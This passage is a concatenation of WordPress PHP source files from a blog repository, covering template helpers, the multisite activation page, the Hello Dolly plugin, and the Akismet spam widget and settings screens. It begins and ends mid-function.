str_replace('%_%', $format, $base); $link = str_replace('%#%', $current + 1, $link); if ( $add_args ) $link = add_query_arg( $add_args, $link ); $link .= $add_fragment; $page_links[] = '<a class="next page-numbers" href="' . esc_url( apply_filters( 'paginate_links', $link ) ) . '">' . $next_text . '</a>'; endif; switch ( $type ) : case 'array' : return $page_links; break; case 'list' : $r .= "<ul class='page-numbers'>\n\t<li>"; $r .= join("</li>\n\t<li>", $page_links); $r .= "</li>\n</ul>\n"; break; default : $r = join("\n", $page_links); break; endswitch; return $r; } /** * Registers an admin colour scheme css file. * * Allows a plugin to register a new admin colour scheme. For example: * <code> * wp_admin_css_color('classic', __('Classic'), admin_url("css/colors-classic.css"), * array('#07273E', '#14568A', '#D54E21', '#2683AE')); * </code> * * @since 2.5.0 * * @param string $key The unique key for this theme. * @param string $name The name of the theme. * @param string $url The url of the css file containing the colour scheme. * @param array $colors Optional An array of CSS color definitions which are used to give the user a feel for the theme. */ function wp_admin_css_color($key, $name, $url, $colors = array()) { global $_wp_admin_css_colors; if ( !isset($_wp_admin_css_colors) ) $_wp_admin_css_colors = array(); $_wp_admin_css_colors[$key] = (object) array('name' => $name, 'url' => $url, 'colors' => $colors); } /** * Registers the default Admin color schemes * * @since 3.0.0 */ function register_admin_color_schemes() { wp_admin_css_color( 'classic', _x( 'Blue', 'admin color scheme' ), admin_url( 'css/colors-classic.min.css' ), array( '#5589aa', '#cfdfe9', '#d1e5ee', '#eff8ff' ) ); wp_admin_css_color( 'fresh', _x( 'Gray', 'admin color scheme' ), admin_url( 'css/colors-fresh.min.css' ), array( '#555', '#a0a0a0', '#ccc', '#f1f1f1' ) ); } /** * Display the URL of a WordPress admin CSS file. * * @see WP_Styles::_css_href and its style_loader_src filter. * * @since 2.3.0 * * @param string $file file relative to wp-admin/ without its ".css" extension. */ function wp_admin_css_uri( $file = 'wp-admin' ) { if ( defined('WP_INSTALLING') ) { $_file = "./$file.css"; } else { $_file = admin_url("$file.css"); } $_file = add_query_arg( 'version', get_bloginfo( 'version' ), $_file ); return apply_filters( 'wp_admin_css_uri', $_file, $file ); } /** * Enqueues or directly prints a stylesheet link to the specified CSS file. * * "Intelligently" decides to enqueue or to print the CSS file. If the * 'wp_print_styles' action has *not* yet been called, the CSS file will be * enqueued. If the wp_print_styles action *has* been called, the CSS link will * be printed. Printing may be forced by passing true as the $force_echo * (second) parameter. * * For backward compatibility with WordPress 2.3 calling method: If the $file * (first) parameter does not correspond to a registered CSS file, we assume * $file is a file relative to wp-admin/ without its ".css" extension. A * stylesheet link to that generated URL is printed. * * @package WordPress * @since 2.3.0 * @uses $wp_styles WordPress Styles Object * * @param string $file Optional. Style handle name or file name (without ".css" extension) relative * to wp-admin/. Defaults to 'wp-admin'. * @param bool $force_echo Optional. Force the stylesheet link to be printed rather than enqueued. */ function wp_admin_css( $file = 'wp-admin', $force_echo = false ) { global $wp_styles; if ( !is_a($wp_styles, 'WP_Styles') ) $wp_styles = new WP_Styles(); // For backward compatibility $handle = 0 === strpos( $file, 'css/' ) ? substr( $file, 4 ) : $file; if ( $wp_styles->query( $handle ) ) { if ( $force_echo || did_action( 'wp_print_styles' ) ) // we already printed the style queue. Print this one immediately wp_print_styles( $handle ); else // Add to style queue wp_enqueue_style( $handle ); return; } echo apply_filters( 'wp_admin_css', "<link rel='stylesheet' href='" . esc_url( wp_admin_css_uri( $file ) ) . "' type='text/css' />\n", $file ); if ( function_exists( 'is_rtl' ) && is_rtl() ) echo apply_filters( 'wp_admin_css', "<link rel='stylesheet' href='" . esc_url( wp_admin_css_uri( "$file-rtl" ) ) . "' type='text/css' />\n", "$file-rtl" ); } /** * Enqueues the default ThickBox js and css. * * If any of the settings need to be changed, this can be done with another js * file similar to media-upload.js. That file should * require array('thickbox') to ensure it is loaded after. * * @since 2.5.0 */ function add_thickbox() { wp_enqueue_script( 'thickbox' ); wp_enqueue_style( 'thickbox' ); if ( is_network_admin() ) add_action( 'admin_head', '_thickbox_path_admin_subfolder' ); } /** * Display the XHTML generator that is generated on the wp_head hook. * * @since 2.5.0 */ function wp_generator() { the_generator( apply_filters( 'wp_generator_type', 'xhtml' ) ); } /** * Display the generator XML or Comment for RSS, ATOM, etc. * * Returns the correct generator type for the requested output format. Allows * for a plugin to filter generators overall the the_generator filter. * * @since 2.5.0 * @uses apply_filters() Calls 'the_generator' hook. * * @param string $type The type of generator to output - (html|xhtml|atom|rss2|rdf|comment|export). */ function the_generator( $type ) { echo apply_filters('the_generator', get_the_generator($type), $type) . "\n"; } /** * Creates the generator XML or Comment for RSS, ATOM, etc. * * Returns the correct generator type for the requested output format. Allows * for a plugin to filter generators on an individual basis using the * 'get_the_generator_{$type}' filter. * * @since 2.5.0 * @uses apply_filters() Calls 'get_the_generator_$type' hook. * * @param string $type The type of generator to return - (html|xhtml|atom|rss2|rdf|comment|export). * @return string The HTML content for the generator. */ function get_the_generator( $type = '' ) { if ( empty( $type ) ) { $current_filter = current_filter(); if ( empty( $current_filter ) ) return; switch ( $current_filter ) { case 'rss2_head' : case 'commentsrss2_head' : $type = 'rss2'; break; case 'rss_head' : case 'opml_head' : $type = 'comment'; break; case 'rdf_header' : $type = 'rdf'; break; case 'atom_head' : case 'comments_atom_head' : case 'app_head' : $type = 'atom'; break; } } switch ( $type ) { case 'html': $gen = '<meta name="generator" content="WordPress ' . get_bloginfo( 'version' ) . '">'; break; case 'xhtml': $gen = '<meta name="generator" content="WordPress ' . get_bloginfo( 'version' ) . '" />'; break; case 'atom': $gen = '<generator uri="http://wordpress.org/" version="' . get_bloginfo_rss( 'version' ) . '">WordPress</generator>'; break; case 'rss2': $gen = '<generator>http://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) . '</generator>'; break; case 'rdf': $gen = '<admin:generatorAgent rdf:resource="http://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) . '" />'; break; case 'comment': $gen = '<!-- generator="WordPress/' . get_bloginfo( 'version' ) . '" -->'; break; case 'export': $gen = '<!-- generator="WordPress/' . get_bloginfo_rss('version') . '" created="'. date('Y-m-d H:i') . '" -->'; break; } return apply_filters( "get_the_generator_{$type}", $gen, $type ); } /** * Outputs the html checked attribute. * * Compares the first two arguments and if identical marks as checked * * @since 1.0.0 * * @param mixed $checked One of the values to compare * @param mixed $current (true) The other value to compare if not just true * @param bool $echo Whether to echo or just return the string * @return string html attribute or empty string */ function checked( $checked, $current = true, $echo = true ) { return __checked_selected_helper( $checked, $current, $echo, 'checked' ); } /** * Outputs the html selected attribute. * * Compares the first two arguments and if identical marks as selected * * @since 1.0.0 * * @param mixed $selected One of the values to compare * @param mixed $current (true) The other value to compare if not just true * @param bool $echo Whether to echo or just return the string * @return string html attribute or empty string */ function selected( $selected, $current = true, $echo = true ) { return __checked_selected_helper( $selected, $current, $echo, 'selected' ); } /** * Outputs the html disabled attribute. * * Compares the first two arguments and if identical marks as disabled * * @since 3.0.0 * * @param mixed $disabled One of the values to compare * @param mixed $current (true) The other value to compare if not just true * @param bool $echo Whether to echo or just return the string * @return string html attribute or empty string */ function disabled( $disabled, $current = true, $echo = true ) { return __checked_selected_helper( $disabled, $current, $echo, 'disabled' ); } /** * Private helper function for checked, selected, and disabled. * * Compares the first two arguments and if identical marks as $type * * @since 2.8.0 * @access private * * @param mixed $helper One of the values to compare * @param mixed $current (true) The other value to compare if not just true * @param bool $echo Whether to echo or just return the string * @param string $type The type of checked|selected|disabled we are doing * @return string html attribute or empty string */ function __checked_selected_helper( $helper, $current, $echo, $type ) { if ( (string) $helper === (string) $current ) $result = " $type='$type'"; else $result = ''; if ( $echo ) echo $result; return $result; }
zyblog
trunk/zyblog/wp-includes/general-template.php
PHP
asf20
78,501
<?php /** * Confirms that the activation key that is sent in an email after a user signs * up for a new blog matches the key for that user and then displays confirmation. * * @package WordPress */ /** Define ABSPATH as this file's directory */ define( 'WP_INSTALLING', true ); /** Sets up the WordPress Environment. */ require( dirname(__FILE__) . '/wp-load.php' ); require( './wp-blog-header.php' ); if ( !is_multisite() ) { wp_redirect( site_url( '/wp-login.php?action=register' ) ); die(); } if ( is_object( $wp_object_cache ) ) $wp_object_cache->cache_enabled = false; do_action( 'activate_header' ); /** * Adds an action hook specific to this page that fires on wp_head * * @since MU */ function do_activate_header() { do_action( 'activate_wp_head' ); } add_action( 'wp_head', 'do_activate_header' ); /** * Loads styles specific to this page. * * @since MU */ function wpmu_activate_stylesheet() { ?> <style type="text/css"> form { margin-top: 2em; } #submit, #key { width: 90%; font-size: 24px; } #language { margin-top: .5em; } .error { background: #f66; } span.h3 { padding: 0 8px; font-size: 1.3em; font-family: "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif; font-weight: bold; color: #333; } </style> <?php } add_action( 'wp_head', 'wpmu_activate_stylesheet' ); get_header(); ?> <div id="content" class="widecolumn"> <?php if ( empty($_GET['key']) && empty($_POST['key']) ) { ?> <h2><?php _e('Activation Key Required') ?></h2> <form name="activateform" id="activateform" method="post" action="<?php echo network_site_url('wp-activate.php'); ?>"> <p> <label for="key"><?php _e('Activation Key:') ?></label> <br /><input type="text" name="key" id="key" value="" size="50" /> </p> <p class="submit"> <input id="submit" type="submit" name="Submit" class="submit" value="<?php esc_attr_e('Activate') ?>" /> </p> </form> <?php } else { $key = !empty($_GET['key']) ? $_GET['key'] : $_POST['key']; $result = wpmu_activate_signup($key); if ( is_wp_error($result) ) { if ( 'already_active' == $result->get_error_code() || 'blog_taken' == $result->get_error_code() ) { $signup = $result->get_error_data(); ?> <h2><?php _e('Your account is now active!'); ?></h2> <?php echo '<p class="lead-in">'; if ( $signup->domain . $signup->path == '' ) { printf( __('Your account has been activated. You may now <a href="%1$s">log in</a> to the site using your chosen username of &#8220;%2$s&#8221;. Please check your email inbox at %3$s for your password and login instructions. If you do not receive an email, please check your junk or spam folder. If you still do not receive an email within an hour, you can <a href="%4$s">reset your password</a>.'), network_site_url( 'wp-login.php', 'login' ), $signup->user_login, $signup->user_email, wp_lostpassword_url() ); } else { printf( __('Your site at <a href="%1$s">%2$s</a> is active. You may now log in to your site using your chosen username of &#8220;%3$s&#8221;. Please check your email inbox at %4$s for your password and login instructions. If you do not receive an email, please check your junk or spam folder. If you still do not receive an email within an hour, you can <a href="%5$s">reset your password</a>.'), 'http://' . $signup->domain, $signup->domain, $signup->user_login, $signup->user_email, wp_lostpassword_url() ); } echo '</p>'; } else { ?> <h2><?php _e('An error occurred during the activation'); ?></h2> <?php echo '<p>'.$result->get_error_message().'</p>'; } } else { extract($result); $url = get_blogaddress_by_id( (int) $blog_id); $user = get_userdata( (int) $user_id); ?> <h2><?php _e('Your account is now active!'); ?></h2> <div id="signup-welcome"> <p><span class="h3"><?php _e('Username:'); ?></span> <?php echo $user->user_login ?></p> <p><span class="h3"><?php _e('Password:'); ?></span> <?php echo $password; ?></p> </div> <?php if ( $url != network_home_url('', 'http') ) : ?> <p class="view"><?php printf( __('Your account is now activated. <a href="%1$s">View your site</a> or <a href="%2$s">Log in</a>'), $url, $url . 'wp-login.php' ); ?></p> <?php else: ?> <p class="view"><?php printf( __('Your account is now activated. <a href="%1$s">Log in</a> or go back to the <a href="%2$s">homepage</a>.' ), network_site_url('wp-login.php', 'login'), network_home_url() ); ?></p> <?php endif; } } ?> </div> <script type="text/javascript"> var key_input = document.getElementById('key'); key_input && key_input.focus(); </script> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-activate.php
PHP
asf20
4,663
<?php /** * @package Hello_Dolly * @version 1.6 */ /* Plugin Name: Hello Dolly Plugin URI: http://wordpress.org/extend/plugins/hello-dolly/ Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page. Author: Matt Mullenweg Version: 1.6 Author URI: http://ma.tt/ */ function hello_dolly_get_lyric() { /** These are the lyrics to Hello Dolly */ $lyrics = "Hello, Dolly Well, hello, Dolly It's so nice to have you back where you belong You're lookin' swell, Dolly I can tell, Dolly You're still glowin', you're still crowin' You're still goin' strong We feel the room swayin' While the band's playin' One of your old favourite songs from way back when So, take her wrap, fellas Find her an empty lap, fellas Dolly'll never go away again Hello, Dolly Well, hello, Dolly It's so nice to have you back where you belong You're lookin' swell, Dolly I can tell, Dolly You're still glowin', you're still crowin' You're still goin' strong We feel the room swayin' While the band's playin' One of your old favourite songs from way back when Golly, gee, fellas Find her a vacant knee, fellas Dolly'll never go away Dolly'll never go away Dolly'll never go away again"; // Here we split it into lines $lyrics = explode( "\n", $lyrics ); // And then randomly choose a line return wptexturize( $lyrics[ mt_rand( 0, count( $lyrics ) - 1 ) ] ); } // This just echoes the chosen line, we'll position it later function hello_dolly() { $chosen = hello_dolly_get_lyric(); echo "<p id='dolly'>$chosen</p>"; } // Now we set that function up to execute when the admin_notices action is called add_action( 'admin_notices', 'hello_dolly' ); // We need some CSS to position the paragraph function dolly_css() { // This makes sure that the positioning is also good for right-to-left languages $x = is_rtl() ? 'left' : 'right'; echo " <style type='text/css'> #dolly { float: $x; padding-$x: 15px; padding-top: 5px; margin: 0; font-size: 11px; } </style> "; } add_action( 'admin_head', 'dolly_css' ); ?>
zyblog
trunk/zyblog/wp-content/plugins/hello.php
PHP
asf20
2,262
<?php /** * @package Akismet */ class Akismet_Widget extends WP_Widget { function __construct() { parent::__construct( 'akismet_widget', __( 'Akismet Widget' ), array( 'description' => __( 'Display the number of spam comments Akismet has caught' ) ) ); if ( is_active_widget( false, false, $this->id_base ) ) { add_action( 'wp_head', array( $this, 'css' ) ); } } function css() { ?> <style type="text/css"> .a-stats { width: auto; } .a-stats a { background: #7CA821; background-image:-moz-linear-gradient(0% 100% 90deg,#5F8E14,#7CA821); background-image:-webkit-gradient(linear,0% 0,0% 100%,from(#7CA821),to(#5F8E14)); border: 1px solid #5F8E14; border-radius:3px; color: #CFEA93; cursor: pointer; display: block; font-weight: normal; height: 100%; -moz-border-radius:3px; padding: 7px 0 8px; text-align: center; text-decoration: none; -webkit-border-radius:3px; width: 100%; } .a-stats a:hover { text-decoration: none; background-image:-moz-linear-gradient(0% 100% 90deg,#6F9C1B,#659417); background-image:-webkit-gradient(linear,0% 0,0% 100%,from(#659417),to(#6F9C1B)); } .a-stats .count { color: #FFF; display: block; font-size: 15px; line-height: 16px; padding: 0 13px; white-space: nowrap; } </style> <?php } function form( $instance ) { if ( $instance ) { $title = esc_attr( $instance['title'] ); } else { $title = __( 'Spam Blocked' ); } ?> <p> <label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label> <input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo $title; ?>" /> </p> <?php } function update( $new_instance, $old_instance ) { $instance['title'] = strip_tags( $new_instance['title'] ); return $instance; } function widget( $args, $instance ) { $count = get_option( 'akismet_spam_count' ); echo $args['before_widget']; if ( ! empty( $instance['title'] ) ) { echo $args['before_title']; echo esc_html( $instance['title'] ); echo $args['after_title']; } ?> <div class="a-stats"> <a href="http://akismet.com" target="_blank" title=""><?php printf( _n( '<strong class="count">%1$s spam</strong> blocked by <strong>Akismet</strong>', '<strong class="count">%1$s spam</strong> blocked by <strong>Akismet</strong>', $count ), number_format_i18n( $count ) ); ?></a> </div> <?php echo $args['after_widget']; } } function akismet_register_widgets() { register_widget( 'Akismet_Widget' ); } add_action( 'widgets_init', 'akismet_register_widgets' );
zyblog
trunk/zyblog/wp-content/plugins/akismet/widget.php
PHP
asf20
2,618
<?php add_action( 'admin_menu', 'akismet_admin_menu' ); akismet_admin_warnings(); function akismet_admin_init() { global $wp_version; // all admin functions are disabled in old versions if ( !function_exists('is_multisite') && version_compare( $wp_version, '3.0', '<' ) ) { function akismet_version_warning() { echo " <div id='akismet-warning' class='updated fade'><p><strong>".sprintf(__('Akismet %s requires WordPress 3.0 or higher.'), AKISMET_VERSION) ."</strong> ".sprintf(__('Please <a href="%s">upgrade WordPress</a> to a current version, or <a href="%s">downgrade to version 2.4 of the Akismet plugin</a>.'), 'http://codex.wordpress.org/Upgrading_WordPress', 'http://wordpress.org/extend/plugins/akismet/download/'). "</p></div> "; } add_action('admin_notices', 'akismet_version_warning'); return; } if ( function_exists( 'get_plugin_page_hook' ) ) $hook = get_plugin_page_hook( 'akismet-stats-display', 'index.php' ); else $hook = 'dashboard_page_akismet-stats-display'; add_action('admin_head-'.$hook, 'akismet_stats_script'); add_meta_box('akismet-status', __('Comment History'), 'akismet_comment_status_meta_box', 'comment', 'normal'); } add_action('admin_init', 'akismet_admin_init'); add_action( 'admin_enqueue_scripts', 'akismet_load_js_and_css' ); function akismet_load_js_and_css() { global $hook_suffix; if ( $hook_suffix == 'index.php' # dashboard || $hook_suffix == 'edit-comments.php' || $hook_suffix == 'comment.php' || $hook_suffix == 'post.php' || $hook_suffix == 'plugins_page_akismet-key-config' ) { wp_register_style( 'akismet.css', AKISMET_PLUGIN_URL . 'akismet.css', array(), '2.5.4.4' ); wp_enqueue_style( 'akismet.css'); wp_register_script( 'akismet.js', AKISMET_PLUGIN_URL . 'akismet.js', array('jquery'), '2.5.4.6' ); wp_enqueue_script( 'akismet.js' ); wp_localize_script( 'akismet.js', 'WPAkismet', array( 'comment_author_url_nonce' => wp_create_nonce( 'comment_author_url_nonce' ) ) ); } } function akismet_nonce_field($action = -1) { return wp_nonce_field($action); } $akismet_nonce = 'akismet-update-key'; function akismet_plugin_action_links( $links, $file ) { if ( $file == plugin_basename( dirname(__FILE__).'/akismet.php' ) ) { $links[] = '<a href="admin.php?page=akismet-key-config">'.__('Settings').'</a>'; } return $links; } add_filter( 'plugin_action_links', 'akismet_plugin_action_links', 10, 2 ); function akismet_conf() { global $akismet_nonce, $wpcom_api_key; if ( isset($_POST['submit']) ) { if ( function_exists('current_user_can') && !current_user_can('manage_options') ) die(__('Cheatin&#8217; uh?')); check_admin_referer( $akismet_nonce ); $key = preg_replace( '/[^a-h0-9]/i', '', $_POST['key'] ); $home_url = parse_url( get_bloginfo('url') ); if ( empty($key) ) { $key_status = 'empty'; $ms[] = 'new_key_empty'; delete_option('wordpress_api_key'); } elseif ( empty($home_url['host']) ) { $key_status = 'empty'; $ms[] = 'bad_home_url'; } else { $key_status = akismet_verify_key( $key ); } if ( $key_status == 'valid' ) { update_option('wordpress_api_key', $key); $ms[] = 'new_key_valid'; } else if ( $key_status == 'invalid' ) { $ms[] = 'new_key_invalid'; } else if ( $key_status == 'failed' ) { $ms[] = 'new_key_failed'; } if ( isset( $_POST['akismet_discard_month'] ) ) update_option( 'akismet_discard_month', 'true' ); else update_option( 'akismet_discard_month', 'false' ); if ( isset( $_POST['akismet_show_user_comments_approved'] ) ) update_option( 'akismet_show_user_comments_approved', 'true' ); else update_option( 'akismet_show_user_comments_approved', 'false' ); } elseif ( isset($_POST['check']) ) { akismet_get_server_connectivity(0); } if ( empty( $key_status) || $key_status != 'valid' ) { $key = get_option('wordpress_api_key'); if ( empty( $key ) ) { if ( empty( $key_status ) || $key_status != 'failed' ) { if ( akismet_verify_key( '1234567890ab' ) == 'failed' ) $ms[] = 'no_connection'; else $ms[] = 'key_empty'; } $key_status = 'empty'; } else { $key_status = akismet_verify_key( $key ); } if ( $key_status == 'valid' ) { $ms[] = 'key_valid'; } else if ( $key_status == 'invalid' ) { $ms[] = 'key_invalid'; } else if ( !empty($key) && $key_status == 'failed' ) { $ms[] = 'key_failed'; } } $messages = array( 'new_key_empty' => array('color' => 'aa0', 'text' => __('Your key has been cleared.')), 'new_key_valid' => array('color' => '4AB915', 'text' => __('Your key has been verified. Happy blogging!')), 'new_key_invalid' => array('color' => '888', 'text' => __('The key you entered is invalid. Please double-check it.')), 'new_key_failed' => array('color' => '888', 'text' => __('The key you entered could not be verified because a connection to akismet.com could not be established. Please check your server configuration.')), 'no_connection' => array('color' => '888', 'text' => __('There was a problem connecting to the Akismet server. Please check your server configuration.')), 'key_empty' => array('color' => 'aa0', 'text' => sprintf(__('Please enter an API key. (<a href="%s" style="color:#fff">Get your key.</a>)'), 'http://akismet.com/get/?return=true')), 'key_valid' => array('color' => '4AB915', 'text' => __('This key is valid.')), 'key_invalid' => array('color' => '888', 'text' => __('This key is invalid.')), 'key_failed' => array('color' => 'aa0', 'text' => __('The key below was previously validated but a connection to akismet.com can not be established at this time. Please check your server configuration.')), 'bad_home_url' => array('color' => '888', 'text' => sprintf( __('Your WordPress home URL %s is invalid. Please fix the <a href="%s">home option</a>.'), esc_html( get_bloginfo('url') ), admin_url('options.php#home') ) ), ); ?> <?php if ( !empty($_POST['submit'] ) ) : ?> <div id="message" class="updated fade"><p><strong><?php _e('Options saved.') ?></strong></p></div> <?php endif; ?> <div class="wrap"> <h2><?php _e('Akismet Configuration'); ?></h2> <?php if (isset($_GET['message']) && $_GET['message'] == 'success') { ?> <div class="updated below-h2" id="message"><p><?php _e( '<strong>Sign up success!</strong> Please check your email for your Akismet API Key and enter it below.' ); ?></p></div> <?php } ?> <div class="narrow"> <form action="" method="post" id="akismet-conf" style="margin: auto; width: 400px; "> <?php if ( !$wpcom_api_key ) { ?> <p><?php printf(__('For many people, <a href="%1$s">Akismet</a> will greatly reduce or even completely eliminate the comment and trackback spam you get on your site. If one does happen to get through, simply mark it as "spam" on the moderation screen and Akismet will learn from the mistakes. If you don\'t have an API key yet, you can get one at <a href="%2$s">Akismet.com</a>.'), 'http://akismet.com/?return=true', 'http://akismet.com/get/?return=true'); ?></p> <h3><label for="key"><?php _e('Akismet API Key'); ?></label></h3> <?php foreach ( $ms as $m ) : ?> <p style="padding: .5em; background-color: #<?php echo $messages[$m]['color']; ?>; color: #fff; font-weight: bold;"><?php echo $messages[$m]['text']; ?></p> <?php endforeach; ?> <p><input id="key" name="key" type="text" size="15" maxlength="12" value="<?php echo get_option('wordpress_api_key'); ?>" style="font-family: 'Courier New', Courier, mono; font-size: 1.5em;" /> (<?php _e('<a href="http://akismet.com/get/?return=true">What is this?</a>'); ?>)</p> <?php if ( isset( $invalid_key) && $invalid_key ) { ?> <h3><?php _e('Why might my key be invalid?'); ?></h3> <p><?php _e('This can mean one of two things, either you copied the key wrong or that the plugin is unable to reach the Akismet servers, which is most often caused by an issue with your web host around firewalls or similar.'); ?></p> <?php } ?> <?php } ?> <?php akismet_nonce_field($akismet_nonce) ?> <p><label><input name="akismet_discard_month" id="akismet_discard_month" value="true" type="checkbox" <?php if ( get_option('akismet_discard_month') == 'true' ) echo ' checked="checked" '; ?> /> <?php _e('Auto-delete spam submitted on posts more than a month old.'); ?></label></p> <p><label><input name="akismet_show_user_comments_approved" id="akismet_show_user_comments_approved" value="true" type="checkbox" <?php if ( get_option('akismet_show_user_comments_approved') == 'true' ) echo ' checked="checked" '; ?> /> <?php _e('Show the number of comments you\'ve approved beside each comment author.'); ?></label></p> <p class="submit"><input type="submit" name="submit" value="<?php _e('Update options &raquo;'); ?>" /></p> </form> <form action="" method="post" id="akismet-connectivity" style="margin: auto; width: 400px; "> <h3><?php _e('Server Connectivity'); ?></h3> <?php if ( !function_exists('fsockopen') || !function_exists('gethostbynamel') ) { ?> <p style="padding: .5em; background-color: #888; color: #fff; font-weight:bold;"><?php _e('Network functions are disabled.'); ?></p> <p><?php echo sprintf( __('Your web host or server administrator has disabled PHP\'s <code>fsockopen</code> or <code>gethostbynamel</code> functions. <strong>Akismet cannot work correctly until this is fixed.</strong> Please contact your web host or firewall administrator and give them <a href="%s" target="_blank">this information about Akismet\'s system requirements</a>.'), 'http://blog.akismet.com/akismet-hosting-faq/'); ?></p> <?php } else { $servers = akismet_get_server_connectivity(); $fail_count = count($servers) - count( array_filter($servers) ); if ( is_array($servers) && count($servers) > 0 ) { // some connections work, some fail if ( $fail_count > 0 && $fail_count < count($servers) ) { ?> <p style="padding: .5em; background-color: #aa0; color: #fff; font-weight:bold;"><?php _e('Unable to reach some Akismet servers.'); ?></p> <p><?php echo sprintf( __('A network problem or firewall is blocking some connections from your web server to Akismet.com. Akismet is working but this may cause problems during times of network congestion. Please contact your web host or firewall administrator and give them <a href="%s" target="_blank">this information about Akismet and firewalls</a>.'), 'http://blog.akismet.com/akismet-hosting-faq/'); ?></p> <?php // all connections fail } elseif ( $fail_count > 0 ) { ?> <p style="padding: .5em; background-color: #888; color: #fff; font-weight:bold;"><?php _e('Unable to reach any Akismet servers.'); ?></p> <p><?php echo sprintf( __('A network problem or firewall is blocking all connections from your web server to Akismet.com. <strong>Akismet cannot work correctly until this is fixed.</strong> Please contact your web host or firewall administrator and give them <a href="%s" target="_blank">this information about Akismet and firewalls</a>.'), 'http://blog.akismet.com/akismet-hosting-faq/'); ?></p> <?php // all connections work } else { ?> <p style="padding: .5em; background-color: #4AB915; color: #fff; font-weight:bold;"><?php _e('All Akismet servers are available.'); ?></p> <p><?php _e('Akismet is working correctly. All servers are accessible.'); ?></p> <?php } } else { ?> <p style="padding: .5em; background-color: #888; color: #fff; font-weight:bold;"><?php _e('Unable to find Akismet servers.'); ?></p> <p><?php echo sprintf( __('A DNS problem or firewall is preventing all access from your web server to Akismet.com. <strong>Akismet cannot work correctly until this is fixed.</strong> Please contact your web host or firewall administrator and give them <a href="%s" target="_blank">this information about Akismet and firewalls</a>.'), 'http://blog.akismet.com/akismet-hosting-faq/'); ?></p> <?php } } if ( !empty($servers) ) { ?> <table style="width: 100%;"> <thead><th><?php _e('Akismet server'); ?></th><th><?php _e('Network Status'); ?></th></thead> <tbody> <?php asort($servers); foreach ( $servers as $ip => $status ) { $color = ( $status ? '#4AB915' : '#888'); ?> <tr> <td><?php echo htmlspecialchars($ip); ?></td> <td style="padding: 0 .5em; font-weight:bold; color: #fff; background-color: <?php echo $color; ?>"><?php echo ($status ? __('Accessible') : __('Re-trying') ); ?></td> <?php } } ?> </tbody> </table> <p><?php if ( get_option('akismet_connectivity_time') ) echo sprintf( __('Last checked %s ago.'), human_time_diff( get_option('akismet_connectivity_time') ) ); ?></p> <p class="submit"><input type="submit" name="check" value="<?php _e('Check network status &raquo;'); ?>" /></p> <p><?php printf( __('<a href="%s" target="_blank">Click here</a> to confirm that <a href="%s" target="_blank">Akismet.com is up</a>.'), 'http://status.automattic.com/9931/136079/Akismet-API', 'http://status.automattic.com/9931/136079/Akismet-API' ); ?></p> </form> </div> </div> <?php } function akismet_stats_script() { ?> <script type="text/javascript"> function resizeIframe() { document.getElementById('akismet-stats-frame').style.height = "2500px"; }; function resizeIframeInit() { document.getElementById('akismet-stats-frame').onload = resizeIframe; window.onresize = resizeIframe; } addLoadEvent(resizeIframeInit); </script><?php } function akismet_stats_display() { global $akismet_api_host, $akismet_api_port, $wpcom_api_key; $blog = urlencode( get_bloginfo('url') ); $url = 'http://'; if ( is_ssl() ) $url = 'https://'; $url .= 'akismet.com/web/1.0/user-stats.php'; $url .= "?blog={$blog}&api_key=" . akismet_get_key(); ?> <div class="wrap"> <iframe src="<?php echo $url; ?>" width="100%" height="100%" frameborder="0" id="akismet-stats-frame"></iframe> </div> <?php } function akismet_stats() { if ( !function_exists('did_action') || did_action( 'rightnow_end' ) ) // We already displayed this info in the "Right Now" section return; if ( !$count = get_option('akismet_spam_count') ) return; $path = plugin_basename(__FILE__); echo '<h3>' . _x( 'Spam', 'comments' ) . '</h3>'; global $submenu; if ( isset( $submenu['edit-comments.php'] ) ) $link = 'edit-comments.php'; else $link = 'edit.php'; echo '<p>'.sprintf( _n( '<a href="%1$s">Akismet</a> has protected your site from <a href="%2$s">%3$s spam comments</a>.', '<a href="%1$s">Akismet</a> has protected your site from <a href="%2$s">%3$s spam comments</a>.', $count ), 'http://akismet.com/?return=true', clean_url("$link?page=akismet-admin"), number_format_i18n($count) ).'</p>'; } add_action('activity_box_end', 'akismet_stats'); function akismet_admin_warnings() { global $wpcom_api_key, $pagenow; if ( $pagenow == 'edit-comments.php' || ( !empty( $_GET['page'] ) && $_GET['page'] == 'akismet-key-config' ) || ( !empty( $_GET['page'] ) && $_GET['page'] == 'akismet-stats-display' ) ) { if ( get_option( 'akismet_alert_code' ) ) { function akismet_alert() { $alert = array( 'code' => (int) get_option( 'akismet_alert_code' ), 'msg' => get_option( 'akismet_alert_msg' ) ); ?> <div class='error'> <p><strong>Akismet Error Code: <?php echo $alert['code']; ?></strong></p> <p><?php esc_html_e( $alert['msg'] ); ?></p> <p>More information is available at <a href="https://akismet.com/errors/<?php echo $alert['code']; ?>">https://akismet.com/errors/<?php echo $alert['code']; ?></a></p> </div> <?php } add_action( 'admin_notices', 'akismet_alert' ); } } if ( !get_option('wordpress_api_key') && !$wpcom_api_key && !isset($_POST['submit']) ) { function akismet_warning() { echo " <div id='akismet-warning' class='updated fade'><p><strong>".__('Akismet is almost ready.')."</strong> ".sprintf(__('You must <a href="%1$s">enter your Akismet API key</a> for it to work.'), "admin.php?page=akismet-key-config")."</p></div> "; } add_action('admin_notices', 'akismet_warning'); return; } elseif ( ( empty($_SERVER['SCRIPT_FILENAME']) || basename($_SERVER['SCRIPT_FILENAME']) == 'edit-comments.php' ) && wp_next_scheduled('akismet_schedule_cron_recheck') ) { function akismet_warning() { global $wpdb; akismet_fix_scheduled_recheck(); $waiting = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->commentmeta WHERE meta_key = 'akismet_error'" ) ); $next_check = wp_next_scheduled('akismet_schedule_cron_recheck'); if ( $waiting > 0 && $next_check > time() ) echo " <div id='akismet-warning' class='updated fade'><p><strong>".__('Akismet has detected a problem.')."</strong> ".sprintf(__('Some comments have not yet been checked for spam by Akismet. They have been temporarily held for moderation. Please check your <a href="%s">Akismet configuration</a> and contact your web host if problems persist.'), 'admin.php?page=akismet-key-config')."</p></div> "; } 